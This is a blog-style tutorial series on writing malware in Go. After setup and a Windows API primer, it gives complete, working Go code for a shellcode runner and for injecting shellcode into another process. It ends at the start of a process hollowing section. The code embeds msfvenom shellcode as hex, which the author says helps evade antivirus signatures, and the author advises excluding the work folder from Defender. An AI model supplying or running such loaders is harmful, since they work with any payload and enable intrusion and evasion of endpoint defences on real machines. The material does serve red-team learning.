# Golang Malware Development

I have been writing a lot of code the last few years that lives on my desktop and then disappears forever.&#x20;

I decided to start posting code I have written in GO which will hopefully help others learn malware development in an easy to learn language.&#x20;

I plan to post simple stuff such as shellcode runners etc. and then start posting more advanced techniques for EDR bypasses, how to build red team infrastructure and how to navigate heavily monitored environments.&#x20;

## You can reach out to me on:

<img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FPoZJ9SHqQwDVaXyQKq4H%2FTwitter_white.svg?alt=media&amp;token=ecc33540-aab4-4ffa-b293-cb5bdfd0bfba" alt="" data-size="line">[@scriptchildie ](https://twitter.com/ScriptChildie)     <img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FrSTfLmgFBjJcGPWrRVPN%2FGmail_white.svg?alt=media&amp;token=e57728cc-df1e-4002-a4c0-8e01c34d4f29" alt="" data-size="line">[ email](mailto:scriptchildie@protonmail.com)      <img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fmg7Yma7cC1tdxbeTykGz%2FGithub_white.svg?alt=media&amp;token=13341ee4-7b17-4579-9f0b-1da382ce74ea" alt="" data-size="line"> [scriptchildie](https://github.com/scriptchildie)      <img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FrDfz03Qb0aiQZP4WROA6%2FDiscord_white.svg?alt=media&amp;token=88098c91-e500-424e-9fdd-1c4e06825fcc" alt="" data-size="line">scriptchildie


# Golang Programming Intro


# 1. Preparing the Go Environment

\#golang

To run and execute code in Go you should first download the compiler. The installers for Linux, macOS and Windows can all be found on the official website [here](https://go.dev/doc/install).

Once the compiler is installed we run the following command to make sure everything is working as expected

```
go version
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FHDL7cWGDCOwr1WGsAlKU%2Fimage.png?alt=media&amp;token=96e87dbd-1cbd-42a3-942a-ae24647ddc03" alt=""><figcaption><p>Go Version</p></figcaption></figure>

Then it is highly recommended to install an IDE. It helps with code suggestions and highlighting errors in our code. My personal preference is [VScode](https://code.visualstudio.com/download). I like it that I can use the same IDE in every OS.&#x20;

When VSCode is installed we go ahead and install the GO language support for VSCode from the extensions:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F45Eq6eaIiyJFO7QVHqBq%2Fimage.png?alt=media&amp;token=f5f5f157-635e-4a46-b7a8-4b87b4279d98" alt=""><figcaption><p>Go Extension in VSCode</p></figcaption></figure>


# 2. Hello World

\#golang #helloworld

To make sure that everything is running as expected let's write a quick "hello world" program.&#x20;

&#x20;Create a new folder where the project will live and run the following command:

```
go mod init helloWorld
```

Running the command will create the [go.mod](https://go.dev/doc/modules/gomod-ref) file.

We then have to create a `main.go` file in the same directory.

The hello world code is shown below:&#x20;

{% code title="main.go" %}

```go
package main

import "fmt"

func main() {
	fmt.Println("Hello World")

}

```

{% endcode %}

To simply run the code, navigate to the same directory as `main.go` and execute:

```
go run .
```

To build it as a stand alone executable simply run

```
go build .
```

The beauty of go unlike other languages is that it will figure out all dependencies and packages used. No need to download them separately.


# 3. Calling MessageBox winAPI from GO

\#systemprogramming #golang #messagebox

*Windows APIs, or Application Programming Interfaces, are sets of functions, procedures, and protocols provided by the Microsoft Windows operating system to allow software applications to interact with the system and its underlying components.*

A full list of (documented) windows APIs can be found on Microsoft's [website](https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list).&#x20;

For this example we will call the [MessageBox ](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox)API. Microsoft provides the Syntax to call the API from C++.&#x20;

```
int MessageBox(
  [in, optional] HWND    hWnd,
  [in, optional] LPCTSTR lpText,
  [in, optional] LPCTSTR lpCaption,
  [in]           UINT    uType
);
```

There are two packages that will help us call Windows APIs from GO.  Let's explore both ways.&#x20;

## [Windows Package](https://pkg.go.dev/golang.org/x/sys/windows)

The Windows package is the easiest way of calling windows APIs. It provides a Go interface to low level windows APIs.&#x20;

#### PROS:

* Easy to use
* No need to translate between C and GO data types
* IntelliSense will show the arguments needed in the IDE when the package is imported

#### CONS:

* Not every Windows API is included in this package

As mentioned above when the package is imported we will have syntax recommendations straight in the IDE. It shows parameter data types required and any potential errors. Also the return values are shown on the far right. (ret int32, err error)

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F59Edwew90uxgH05lyhUN%2Fimage.png?alt=media&amp;token=cafd9e0b-4971-4ae0-9a64-4b2036ae88db" alt=""><figcaption><p>IntelliSense recommendation</p></figcaption></figure>

```go
package main

import (
	"golang.org/x/sys/windows"
)

func main() {

	hWnd := uintptr(0)
	windows.MessageBox(
		windows.HWND(hWnd), 		         	  // [in, optional] HWND    hWnd,
		windows.StringToUTF16Ptr("Used Windows Package"), // [in, optional] LPCTSTR lpText,
		windows.StringToUTF16Ptr("MessageBox 1/2"),       // [in, optional] LPCTSTR lpCaption,
		windows.MB_OK) 				          // [in] UINT    uType

}

```

## [Syscall Package](https://pkg.go.dev/syscall)

The syscall package is harder to use but more powerful

#### PROS:

* Call any function from any DLL

#### CONS:&#x20;

* No IntelliSense&#x20;
* Manually convert Windows to GO data types

The following Table from the book "Black Hat Go: Go Programming For Hackers" (Highly recommended btw) helps with the translation of datatypes

| Windows Data Type | Go Data Type |
| ----------------- | ------------ |
| BOOLEAN           | byte         |
| BOOL              | int32        |
| BYTE              | byte         |
| DWORD             | uint32       |
| DWORD32           | uint32       |
| DWORD64           | uint32       |
| WORD              | uint16       |
| HANDLE            | uintptr      |
| LPVOID            | uintptr      |
| SIZE\_T           | uintptr      |
| LPCVOID           | uintptr      |
| HMODULE           | uintptr      |
| LPCSTR            | uintptr      |
| LPDWORD           | uintptr      |

Having All the information we need we can proceed writing the code for our messagebox. From the MessageBox [reference page](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox#requirements) we can see that function MessageBox is exported in the User32.dll.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FJ6iUCvTBS2Bin7p5jbsA%2Fimage.png?alt=media&amp;token=f54823a0-99f6-4c9f-871c-7a8ed9e2a882" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox#requirements">MessageBox Requirements</a></p></figcaption></figure>

We should first import the dll and get the API address using the following code&#x20;

<pre class="language-go"><code class="lang-go">user32dll := syscall.NewLazyDLL("User32.dll")
<strong>procMsgBox := user32dll.NewProc("MessageBoxW")
</strong></code></pre>

We can then get all our parameters declared before passing them to the function

```go
hWnd = uintptr(0)
lpText, _ := syscall.UTF16PtrFromString("Used Syscall Package")
lpCaption, _:= syscall.UTF16PtrFromString("MessageBox 2/2")
uType := uint(0)
```

And finally we can call the function&#x20;

```go
procMsgBox.Call(
		hWnd, 
		uintptr(unsafe.Pointer(lpText)), 
		uintptr(unsafe.Pointer(lpCaption)), 
		uintptr(uType))
```

### Complete Code:

```go
package main

import (
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	// windows package
	hWnd := uintptr(0)
	windows.MessageBox(
		windows.HWND(hWnd), // [in, optional] HWND    hWnd,
		windows.StringToUTF16Ptr("Used Windows Package"), // [in, optional] LPCTSTR lpText,
		windows.StringToUTF16Ptr("MessageBox 1/2"),       // [in, optional] LPCTSTR lpCaption,
		windows.MB_OK) // [in] UINT    uType

	// syscall package
	user32dll := syscall.NewLazyDLL("User32.dll")
	procMsgBox := user32dll.NewProc("MessageBoxW")

	hWnd = uintptr(0)
	lpText, err := syscall.UTF16PtrFromString("Used Syscall Package")
	if err != nil {
		log.Fatalln("lpText UTF16PtrFromString Failed")
	}
	lpCaption, err := syscall.UTF16PtrFromString("MessageBox 2/2")
	if err != nil {
		log.Fatalln("lpCaption UTF16PtrFromString Failed")
	}
	uType := uint(0)

	procMsgBox.Call(
		hWnd, 
		uintptr(unsafe.Pointer(lpText)), 
		uintptr(unsafe.Pointer(lpCaption)), 
		uintptr(uType))
}

```


# 4. Shellcode Runner

\#shellcoderunner #golang #maldev #malwaredevelopment

With all the knowledge we have it's now time to run some shellcode.&#x20;

From ChatGPT : *"S*hellcode is a small piece of machine code typically used in the context of software exploits and malicious activities. It's called "shellcode" because it often provides a way to gain control over a computer system and execute arbitrary commands, effectively providing a shell (command-line interface) to an attacker.*"*

To run shellcode in the current process the following windows APIs will be called:

* [VirtualAlloc ](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
* [RtlMoveMemory](https://learn.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory)&#x20;
* [VirtualProtect](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) (optional)
* [CreateThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)
* [WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)

To generate shellcode we will use [msfvenom](https://www.offsec.com/metasploit-unleashed/msfvenom/). The payload will not perform anything malicious but the behaviour is usually flagged by AV engines. It might be a good idea to add your working directory into the AV exception list. ([reference for defender](https://support.microsoft.com/en-us/windows/add-an-exclusion-to-windows-security-811816c0-4dfd-af4a-47e4-c301afe13b26#:~:text=Go%20to%20Start%20%3E%20Settings%20%3E%20Update,select%20Add%20or%20remove%20exclusions.))

Let's start constructing our code.

## Shellcode Generation

For this example we will generate a shellcode that is used to pop a calculator. I am currently working on windows 11 x64 so adjust your payload accordingly.&#x20;

On kali I ran the following command:

```bash
┌──(kali㉿kali)-[~]
└─$ msfvenom  -f hex -p windows/x64/exec cmd=calc                        

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of hex file: 544 bytes
fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300
```

* -f hex -> hex is the output format. hex will give me hex characters in a string
* -p windows/x64/exec -> this is the payload. It executes a command in a x64 bit system
* cmd=calc -> is the command to run. In our case a calculator

## Go Program

### Transform the shellcode from string to byte array

The shellcode in a string format is not useful to us. We have to turn the string into a byte array. Thankfully a package exists that could do the conversion for us.&#x20;

**Fun fact**: Storing shellcode as a hex string helps evading static AV signatures (sometimes). Storing the shellcode in a byte slice will flag immediately (with most AVs)

```go
sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")
```

### Memory Allocation

We then have to allocate memory for our shellcode. For memory allocation we will use the VirtualAlloc API. This API exists in the windows package so we will go ahead to implement it.&#x20;

```c
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

* lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
* dwSize: Will be the size of our shellcode
* flAllocationType: We need to reserve and commit memory
* flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtect. &#x20;

```go
	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), 
					uintptr(len(sc)), 
					windows.MEM_COMMIT|windows.MEM_RESERVE,
					windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
```

### Copy Shellcode bytes to the allocated memory

To write the shellcode bytes to memory we will use the RtlMoveMemory API.&#x20;

```c
VOID RtlMoveMemory(
  _Out_       VOID UNALIGNED *Destination,
  _In_  const VOID UNALIGNED *Source,
  _In_        SIZE_T         Length
);
```

The arguments are self explanatory:

* Destination address is the address returned from the VirtualAlloc API
* Source is a pointer, pointing at the beginning of our sc byte array
* Length is the length of our shellcode

Since the RtlMoveMemory is not part of the windows package we will use the syscall package to import it manually.

```go
	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, 
				uintptr(unsafe.Pointer(&sc[0])), 
				uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")
```

### Changing the Memory permissions to RX

Since we assigned the memory permissions to ReadWrite we have to change the permissions to RX. Otherwise our program will crash when trying to start a thread from that memory region.&#x20;

To do this we need to call the VirtualProtect API.

```c
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
```

* lpAddress: is the target address return from VirtualAlloc
* dwSize: is the size of our shellcode
* flNewProtect: is the new permissions we would like to assign PAGE\_EXECUTE\_READ
* lpflOldProtect: will store the old permissions in case we want to restore them later on.

```go
	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("VirtualProtect Failed: %v", err)
	}
```

### Create a new Thread

Finally, we need to create a new thread pointing to our shellcode. CreateThread windows api will be used.

```c
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);
```

Although this is not implemented in the windows package it's fairly easy to implement since we only need to specify the lpStartAddress parameter.

```go
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread  := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		log.Fatalf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)
```

### Finally we wait for the shellcode to run

This API allows us to wait for the thread to execute otherwise the program will terminate before the calculator pops up.

```c
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);
```

hHandle: We will provide the handle returned by the CreateThread function

dwMilliseconds: We set that to infinite

```go
windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F8PaE2wJzbIrZS6E1LbOX%2Fimage.png?alt=media&amp;token=84932685-8d6e-4b58-a529-f65d4ed91cfd" alt=""><figcaption></figcaption></figure>

### Complete Code

```go
package main

import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	//msfvenom  -f hex -p windows/x64/exec cmd=calc   
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")

	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		log.Fatalf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)
	windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}

```


# Shellcode Injection


# 1. Classic Shellcode Injection

\#shellcodeinjection #golang #maldev #malwaredevelopment

This technique is very similar to the [Shellcode Runner](/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) technique. The only difference is that the shellcode will be injected in a remote process rather than the current process.

The Windows APIs required to perfrom this technique are the following:

* [OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)
* [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
* [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
* [VirtualProtectEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex)
* [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)

### Get a handle on a remote Process

To get a handle on a remote process the OpenProcess winapi will be used.

```c
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

* dwDesiredAccess: This is defined by the rest of the APIs that we will use.&#x20;
  * VirtualAllocEX -> PROCESS\_VM\_OPERATION
  * WriteProcessMemory -> PROCESS\_VM\_WRITE and PROCESS\_VM\_OPERATION
  * CreateRemoteThread -> PROCESS\_CREATE\_THREAD, PROCESS\_QUERY\_INFORMATION, PROCESS\_VM\_OPERATION, PROCESS\_VM\_WRITE, and PROCESS\_VM\_READ
  * Alternatively we can use PROCESS\_ALL\_ACCESS for convenience
  * More information on [process security and access rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights)
* bInheritHandle: Will be set to false
* dwProcessId: Will be the ID of the process to get a handle on

Luckily the OpenProcess API is part of the windows package

```go
	pid := uint32(12240)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)
```

## Allocating memory on remote process

VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory.

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

* hProcess: Process Handle returned by the OpenProcess API
* lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
* dwSize: Will be the size of our shellcode
* flAllocationType: We need to reserve and commit memory
* flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtectEx.

**NOTE:** [WriteProcessMemory ](https://devblogs.microsoft.com/oldnewthing/20181206-00/?p=100415)that is used later on will temporarily assign WRITE permissions if they are missing from the memory page using VirtualAllocEx. It might be a good idea to manually manage permissions to avoid additional calls to VirtualAllocEx.

```go
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
```

### Writing shellcode to remote process

WriteProcessMemory winapi will be used to write shellcode to the remote memory

```cpp
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

* hProcess: Process Handle returned by the OpenProcess API
* lpBaseAddress:  Value returned from VirtualAllocEx
* lpBuffer: A pointer to the beginning of our shellcode byte array
* nSize: Size of our shellcode
* lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

```go
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, 
					addr,
					&sc[0], 
					uintptr(len(sc)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d bytes to destination address\n", numberOfBytesWritten)
```

### Change Memory Permissions&#x20;

Since the memory permissions were set to PAGE\_READWRITE we now need to set them to PAGE\_EXECUTE\_READ. This can be achieved with VirtualProtectEx.

```c
BOOL VirtualProtectEx(
  [in]  HANDLE hProcess,
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
```

* hProcess: Process Handle returned by the OpenProcess API
* lpAddress: is the target address return from VirtualAlloc
* dwSize: is the size of our shellcode
* flNewProtect: is the new permissions we would like to assign PAGE\_EXECUTE\_READ
* lpflOldProtect: will store the old permissions in case we want to restore them later on.

```go
	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

```

### Create Remote Thread

CreateRemoteThread API will be used to create a thread and run the shellcode.&#x20;

```c
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

Only three parameters will be used and the rest will be set to null

* hProcess: Process Handle returned by the OpenProcess API
* lpStartAddress: The address returned by the VirtualAllocEX API
* lpThreadId: Returns the newly created threadID

```go
	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}


		fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
		
```

### Execute Code:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F0Rs62t8n5a8rM9R1eHr8%2Fimage.png?alt=media&amp;token=8fcbcf15-0d32-484f-b078-ca15c551131a" alt=""><figcaption><p>Calculator successfully popped up.</p></figcaption></figure>

### Complete Code

```go
package main

import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	pid := uint32(21336)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f hex -p windows/x64/exec cmd=calc
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	
}

```


# 2. Process Hollowing

\#processhollowing#golang #maldev #malwaredevelopment

[Process Hollowing](https://attack.mitre.org/techniques/T1055/012/) is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code.

The Windows APIs required to perform this technique are the following:

* [CreateProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)
* [NtQueryInformationProcess](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess)
* [ReadProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory)
* [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
